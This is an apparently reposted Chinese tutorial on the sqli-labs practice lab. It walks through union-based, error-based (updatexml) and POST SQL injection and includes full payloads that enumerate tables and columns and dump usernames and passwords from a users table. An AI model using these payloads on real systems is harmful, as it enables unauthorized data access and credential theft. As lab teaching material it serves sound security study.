欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 国际 > Sqliabs注入过程

Sqliabs注入过程

2025/2/26 14:06:56 来源:https://blog.csdn.net/weixin_71398630/article/details/140926606  浏览:    关键词:Sqliabs注入过程

查询步骤:闭合-注释符-查询数据库-查询表-查询字段 

第一关:联合查询

提示请输入你的id:

首先sql注入输入的数据都是合理的查询语句。产生原因是由于没有对用户的输入做过滤,导致意外的查询语句进入到了程序中,查询到了本不应该查询到的数据。

尝试闭合,加上   '   后可以发现报错,说明闭合成功,再加入注释符号,使后面的程序不生效,mysql的注释符号有三种:--空格   #   /***/  ;使用--+ 的原因是,在url中,+ 会被解析为空格,而直接加空格会被忽略;

接下来就可以构造查询语句:

首先查询表的列数:使用  order by 排序,默认正序,在使用4排序时报错,说明表只有3个(一个一个试)

使用联合查询:用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉;id为-1,是因为源码只显示一列,所以让id为假,就可以显示第二列;最终目的是找到管理员密码和账号;

?id=-1' union select 1,2,3 --+

 查询database()可以看到当前是security库,

?id=-1' union select 1,database(),3 --+

  mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。 

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

现在我们知道了security数据库中的所有表名,我们需要查询password和username,通常情况下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

可以看到users表下有username,password,

?id=-1' union select 1,2,group_concat( username,id,password) from users --+

第五关:报错注入

第五关没有发现显示位,但是有报错信息,尝试使用报错注入

 

尝试跟第一关一样直接查发现显示 ,0x7e 的意思是 ~

?id=1' and updatexml(1,concat(0x7e,(select username password from users)),1)--+

 因为updatexml有限制,只显示32位,所以只能使用substr截取32位显示,使用group_concat函数将输出的数据连接起来显示

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+

第十一关:POST注入、无限制

 

还是先尝试加 ’  

和前面的注入一样有报错信息 ,因为不使用url注入,所以将 --+ 改为 #

a'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)#

................................... 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词